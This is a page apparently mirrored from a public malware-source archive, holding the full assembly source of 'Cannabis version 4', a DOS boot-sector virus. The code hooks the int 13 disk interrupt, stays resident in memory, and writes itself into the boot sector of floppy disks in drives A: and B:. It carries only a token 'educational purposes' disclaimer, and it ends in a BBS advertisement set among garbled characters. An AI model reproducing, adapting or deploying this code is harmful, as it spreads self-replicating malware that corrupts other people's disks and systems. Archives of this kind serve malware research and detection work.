mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
265 lines
8.6 KiB
NASM
265 lines
8.6 KiB
NASM
;****************************************************************************
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;* Cannabis version 4
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;*
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;* Compile with TASM 2.0
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;* (other assemblers will probably not produce the same result)
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;*
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;* Disclaimer:
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;* This file is only for educational purposes. The author takes no
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;* responsibility for anything anyone does with this file. Do not
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;* modify this file!
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;****************************************************************************
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cseg segment
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assume cs:cseg,ds:cseg,es:nothing
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.RADIX 16
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BASE equ 7C00
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org 0
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begin: jmp start
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org 3
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db 'CANNABIS' ;BIOS parameter block
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dw 0200
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db 2
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dw 1
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db 2
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dw 112d
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dw 720d
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db 0FDh
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dw 2
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dw 9
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dw 2
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dw 0
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org 3E
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start: cld ;initialise segments + stack
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cli
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xor ax,ax
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mov ss,ax
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mov ds,ax
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mov sp,7C00
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mov bx,offset ni13+BASE ;check int13 vector
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mov ax,ds:[4*13]
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cmp ax,bx
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je installed
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mov ds:[oi13+BASE],ax ;save old vector
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mov ax,ds:[4*13+2]
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mov di,400
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mov ds:[oi13+2+BASE],ax
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mov ax,ds:[di+13]
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dec ax
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mov cl,6
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mov ds:[di+13],ax
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shl ax,cl
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sub ax,07C0
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mov cx,0200 ;copy virus to top
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mov di,sp
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mov es,ax
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mov si,sp
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rep movsb
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mov ds:[4*13+2],es ;set new vector
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mov ds:[4*13],bx
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installed: xor ax,ax
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push ss
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pop es
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mov bx,0078
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lds si,ss:[bx] ;ds:si = int 1E (=table ptr)
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push ds
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push si
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push ss
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push bx
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mov cx,0bh
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mov di,7C3Eh ;move table -> ds:7C3E
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rep movsb
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push es
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pop ds
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mov cx,ds:[7C18]
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mov byte ptr [di-2], 0fh
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mov [bx+2],ax
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mov [di-7],cl
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mov word ptr [bx],7C3E
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sti
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int 13 ;reset disk
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jc error
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mov cx,ds:[7C13] ;number of sectors
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mov ds:[7C20],cx
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mov ax,ds:[7C16] ;calculate root-entry (FAT)
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shl ax,1
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inc ax
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mov ds:[7C49],ax ;save value
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mov ds:[7C50],ax
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mov ax,ds:[7C11] ;calculate IO.SYS entry
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mov cl,4
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shr ax,cl
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add ds:[7C49],ax
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mov ax,ds:[7C50]
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mov bx,0500
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call readsector
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jc error
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cmp word ptr [bx], 'OI' ;IO.SYS ?
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jne ibmtest
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cmp word ptr [bx+20], 'SM' ;MSDOS.SYS ?
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je continue
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jmp short error
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ibmtest: cmp word ptr [bx], 'BI' ;IBMBIO.COM ?
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jne error
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cmp word ptr [bx+20], 'BI' ;IBMDOS.COM ?
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je continue
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error: mov si,offset errortxt+BASE ;print error-message
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call print
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xor ax,ax
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int 16 ;wait for keypress
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pop si ;restore int 1E vector
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pop ds
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pop [si]
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pop [si+2]
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int 19 ;boot again...
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continue: mov cx,3 ;at ds:0700
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mov bx,0700
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mov ax,ds:[7C49]
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nextsec: call readsector
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jc error
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add bx,0200
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inc ax
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loop nextsec
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mov dl,0
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mov ch,ds:[7C15] ;go to begin IO.SYS
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mov bx,ds:[7C49]
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mov ax,0
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db 0EA, 0, 0, 70, 0
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;****************************************************************************
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;* Read a sector
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;****************************************************************************
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readsector: push cx
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push ax
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div byte ptr ds:[7C18] ;al=sec/9 (0-160) ah=sec. (0-8)
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cwd
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inc ah ;ah=1-9 (sector)
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shr al,1 ;al=0-80 (track)
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adc dh,0 ;dh=0/1 (head) dl=0 (drive)
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xchg ah,al
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mov cx,0201
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xchg ax,cx
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int 13
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pop ax
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pop cx
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return: ret
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;****************************************************************************
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;* Print message
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;****************************************************************************
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print: lodsb
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or al,al
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jz return
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mov ah,0Eh
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mov bx,7
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int 10
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jmp short print
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;****************************************************************************
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;* Int 13 handler
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;****************************************************************************
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ni13: push ax
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push ds
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cmp ah,4 ;funktion 0-4?
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ja cancel
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cmp ch,1
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ja cancel
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test dx,0FFFEh ;drive A: or B: ? (head=0)
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jnz cancel
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xor ax,ax
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mov ds,ax
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infect: push cx
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push bx
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push di
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push si
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push es
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mov ax,0201 ;read bootsector at 7E00
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mov bx,7E00
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mov cx,1
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push cs
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push cs
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pop ds
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pop es
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pushf
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push cs
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call orgint13
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jc exit
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mov di,7C0Bh ;move BPB to virus
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mov cl,33
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mov si,7E0Bh
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rep movsb
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mov ax,0301 ;write virus to boot-sector
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mov bx,7C00
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mov cx,1
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pushf
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push cs
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call orgint13
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exit: pop es
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pop si
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pop di
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pop bx
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pop cx
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cancel: pop ds
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pop ax
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orgint13: jmp dword ptr cs:[oi13+BASE] ;original vector
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;****************************************************************************
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;* Data
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;****************************************************************************
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oi13 dw ?,? ;original int 13 vector
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errortxt db 0Dh, 0Ah, 'Non-System disk or disk error'
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db 0Dh, 0Ah, 'Replace and press a key when ready'
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db 0Dh, 0Ah, 0
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org 01FEh
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db 55, 0AA
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cseg ends
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end begin
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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